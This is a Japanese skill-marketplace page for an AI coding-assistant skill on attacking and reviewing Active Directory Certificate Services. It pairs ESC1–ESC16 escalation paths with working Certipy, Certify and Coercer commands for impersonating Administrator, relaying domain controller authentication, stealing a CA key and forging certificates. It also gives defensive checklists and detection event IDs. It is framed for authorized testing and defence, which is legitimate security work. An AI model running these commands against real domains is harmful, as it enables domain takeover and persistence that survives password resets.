mcpField
A
abusing-adcs

abusing-adcs

github.com/trilwuセキュリティ17748 回インストール12 週間前に更新
リポジトリ

abusing-adcs について

AD CS の設定を評価する、認可された Active Directory テスト担当者や防御担当者向けのセキュリティスキルです。証明書による権限昇格の経路に加え、列挙、永続化リスク、防御レビューを扱います。

主な機能

  1. 01脆弱な証明書テンプレートの列挙
  2. 02ESC の昇格・リレー経路の整理
  3. 03証明書マッピングとバインドの評価
  4. 04証明書による永続化リスクの説明
  5. 05PKI 防御策のレビュー

活用シーン

  1. 01CA とテンプレート設定の監査
  2. 02認可されたテストで証明書昇格を検証
  3. 03パスワードリセット後の証明書残存リスク評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill abusing-adcs

インストール後、Claude Code で/abusing-adcsを入力して読み込まれたか確認します。

詳細

AD CS の悪用

Active Directory ドメイン内の証明機関(CA)は、通常、一般ユーザーからドメイン管理者へ至る最短経路です。証明書テンプレートはアクセス許可オブジェクトですが、ほとんど誰も監査していないためです。登録者が独自のサブジェクト名を指定できるテンプレートが1つあるだけで、ドメイン全体が侵害されます。こうした設定は、あるべき姿よりも多くのネットワークでデフォルトになっています。

許可を得てテストするドメインのみを対象にしてください。

使用する場合

  • ドメインに CA がある(pKIEnrollmentService オブジェクトが存在する)
  • certipy find または BloodHound が脆弱なテンプレートを報告している
  • ドメインの認証情報を何らかの形で持っており、権限昇格の経路が必要
  • パスワードのリセット後も維持される、永続的なドメイン内の足がかりが必要
  • 防御目的で PKI の設定を確認する

使用しない場合

  • 一般的な AD 攻撃(Kerberoasting、DCSync、ラテラルムーブメント)— attacking-active-directory を使用してください
  • 委任の悪用 — attacking-kerberos-delegation を使用してください
  • Entra ID/クラウド PKI — attacking-entra-id を使用してください
  • これらの攻撃の検知 — engineering-detections を使用してください。証明書要求イベント(4886/4887)が主なテレメトリーです

まず列挙する

# Certipy — the standard tool; run this before anything else
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.10 -vulnerable -stdout
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.10 -old-bloodhound

# From Windows
Certify.exe find /vulnerable
Certify.exe cas                      # CA hosts, flags, and enrollment endpoints

certipy find -vulnerable は ESC 番号を直接表示するため、最初に実行するコマンドです。出力で、登録できるユーザー、要求者がサブジェクトを指定できるかどうか、存在する EKU、マネージャーの承認が必要かどうかを確認してください。

権限昇格の経路

設定ミスの種類ごとにまとめています。修正方法と検知方法が異なるためです。

テンプレートの設定ミス — よくあるケース
ID条件結果
ESC1登録者がサブジェクトを指定できる(ENROLLEE_SUPPLIES_SUBJECT)+クライアント認証 EKU+低権限ユーザーが登録可能+承認不要ドメイン管理者を含む任意のユーザーとして証明書を要求できる
ESC2Any Purpose EKU(または EKU なし)+低権限ユーザーが登録可能クライアント認証に使える証明書を取得できる。結果は ESC1 と同じ
ESC3Certificate Request Agent EKU他のユーザーに代わって登録できる
ESC9CT_FLAG_NO_SECURITY_EXTENSION が設定されている証明書に SID バインディングが含まれず、弱いマッピングを悪用できる
ESC15登録者がサブジェクトを指定でき、アプリケーションポリシーを挿入できる v1 テンプレートアプリケーションポリシーを使ったクライアント認証により、EKU の制限を回避できる
# ESC1 — the canonical path
certipy req -u [email protected] -p 'Password' -dc-ip 10.0.0.10 \
  -ca 'CORP-CA' -template 'VulnTemplate' -upn '[email protected]'

# Authenticate with the certificate and recover the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
# → TGT plus the account's NT hash
アクセス制御の設定ミス
ID条件結果
ESC4テンプレートオブジェクトへの書き込み権限があるESC1 テンプレートに再設定して使用し、その後元に戻す
ESC5PKI オブジェクト、CA のコンピューターオブジェクト、またはコンテナーへの書き込み権限があるCA の制御を含むさまざまな操作が可能
ESC7CA に対する ManageCA または ManageCertificates の権限があるESC6 を有効にする、または保留中の自分の要求を承認する
# ESC4 — make it vulnerable, use it, put it back
certipy template -u [email protected] -p 'Password' -template 'WriteableTemplate' -save-old
# ... request as in ESC1 ...
certipy template -u [email protected] -p 'Password' -template 'WriteableTemplate' -configuration WriteableTemplate.json

テンプレートの復元は必須です。 テンプレートを脆弱な状態のまま放置することは、クライアントのセキュリティ態勢を実際に変えてしまいます。事前に知らせずに行えば、問題があるのは相手ではなくあなたです。最初に -save-old を実行し、すぐに復元して、両方の操作をタイムスタンプ付きで記録してください。

CA の設定ミス
ID条件結果
ESC6CA で EDITF_ATTRIBUTESUBJECTALTNAME2 が有効になっているどのテンプレートでもサブジェクトを指定できる
ESC16CA 全体でセキュリティ拡張が無効になっている発行されるすべての証明書に SID バインディングが含まれない
# Check the CA flags
certutil -config "CA-HOST\CORP-CA" -getreg policy\EditFlags
リレー経路
ID条件結果
ESC8Web 登録(/certsrv)に到達可能で、EPA/HTTPS バインディングがないNTLM を登録サービスにリレーし、リレーしたマシンの証明書を取得する
ESC11パケット整合性のない ICertPassage RPCHTTP ではなく RPC 経由でリレーする
# ESC8: coerce authentication from a DC, relay it to web enrollment
certipy relay -ca 10.0.0.20 -template DomainController
# in another shell, coerce:
coercer coerce -u user -p 'Password' -t 10.0.0.10 -l 10.0.0.100
# or PetitPotam / printerbug
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10     # → DC machine account → DCSync
証明書のマッピング
ID条件結果
ESC10証明書マッピングのレジストリ値が弱いUPN または altSecurityIdentities を使ってなりすます
ESC13グループにリンクされた発行ポリシーを持つテンプレート証明書によってそのグループのメンバーシップが付与される
ESC14altSecurityIdentities への書き込みアクセス証明書を標的アカウントにマッピングする

証明書の強固なバインドによって状況は変わります。 2022 年 5 月の更新プログラム(KB5014754)以降、ドメインコントローラーは証明書に SID セキュリティ拡張が含まれていることを必須にできます。また、StrongCertificateBindingEnforcement によって適用の厳格さが決まります。完全適用されているドメインでは、ESC9、ESC10、Certifried(CVE-2022-26923)は機能しなくなりますが、ESC1、ESC4、ESC6、ESC8 は引き続き機能します。悪用可能な経路として報告する前に、適用レベルを確認してください。

reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement
# 0 = disabled, 1 = compatibility (default for a period), 2 = full enforcement

永続化

証明書は AD で利用できる最も持続性の高い永続化手段です。そのため、レポートで取り上げることが重要です。

  • ユーザー証明書は、パスワードをリセットしても有効期限まで有効です。侵害されたアカウントをリセットしても、攻撃者は排除されません。
  • CA の秘密鍵を盗むこと(THEFT2 /ゴールデン証明書)で、あらゆるプリンシパルの証明書をオフラインで無期限に偽造できます。これから復旧するには PKI の再発行が必要です。
  • 対処法は失効のみですが、ほとんどの環境では CRL を速やかに確認しないか、まったく確認しません。
# Extract the CA key with local admin on the CA host (DPAPI-protected)
certipy ca -backup -u [email protected] -p 'Password' -ca 'CORP-CA'
# Forge offline
certipy forge -ca-pfx ca.pfx -upn [email protected]

報告時には、これを明確に記載してください。「パスワードのリセットでは修復できません。発行済みの証明書を失効させる必要があります」という一文が、クライアントの対応計画を変えるのです。

防御的レビュー

エンゲージメントが攻撃ではなく設定レビューの場合は、次の点を確認してください。

  • 登録者がサブジェクトを指定できるテンプレートはどれで、誰が登録できますか?
  • Domain Users または Authenticated Users が利用できるクライアント認証 EKU または Any-Purpose EKU を持つテンプレートはどれですか?
  • 機密性の高いテンプレートで、マネージャーの承認が必要ですか?
  • EDITF_ATTRIBUTESUBJECTALTNAME2 はどこかで設定されていますか?
  • Web 登録が公開されていて、EPA を使用した HTTPS が強制されていますか?
  • StrongCertificateBindingEnforcement は完全適用されていますか?
  • ManageCA と ManageCertificates を持つのは誰ですか?
  • 証明書の発行は監視されていますか(イベント 4886、4887、4899、4900)?

退けるべき言い訳

  • 「テンプレートにはマネージャーの承認が必要なので、安全です。」 ESC7 を確認してください。ManageCertificates を持つユーザーは、自分の要求を承認できます。
  • 「登録できるのは Domain Admins だけです。」 名前ではなく ACL を確認してください。グループは入れ子になっており、Authenticated Users は予想以上によく含まれています。
  • 「Certifried にはパッチを適用しました。」 それで閉じるのは 1 つの経路だけです。ESC1 と ESC8 は設定の問題であり、パッチでは修正できません。
  • 「侵害されたアカウントのパスワードはリセットしました。」 証明書は引き続き有効です。失効させてください。
  • 「内部 CA なので、深刻度は低いです。」 ドメイン認証証明書を発行する内部 CA は、ドメイン管理者と同等の権限を持ちます。
  • 「BloodHound には表示されませんでした。」 証明書に対応したコレクターを使って収集してください。古い収集データには ADCS のエッジがまったくありません。
  • 「テンプレートを変更したままにしておきます。そちらのほうが簡単です。」 いけません。

ATT&CK の対象範囲

secskills-core/ttp-index.json から生成されています。編集後に python3 scripts/sync_attack.py --write を実行してください。レポートに記載する前に、現在の ATT&CK リリースに照らして ID を再確認してください。

認証情報へのアクセス(TA0006)

  • T1649 認証証明書の窃取または偽造 — attacking-active-directory も参照してください

これらに関する検出コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。

参考資料

  • attacking-active-directory — ドメインに対するより広範な攻撃経路
  • attacking-kerberos-delegation — AD で効果の高いもう 1 つの権限昇格手法
  • engineering-detections — 証明書の発行とテンプレート変更のテレメトリー
  • reporting-security-findings — 失効要件の伝え方
  • Certipy、Certify、PKIAudit、BloodHound(ADCS エッジ)、Coercer、PetitPotam

コメント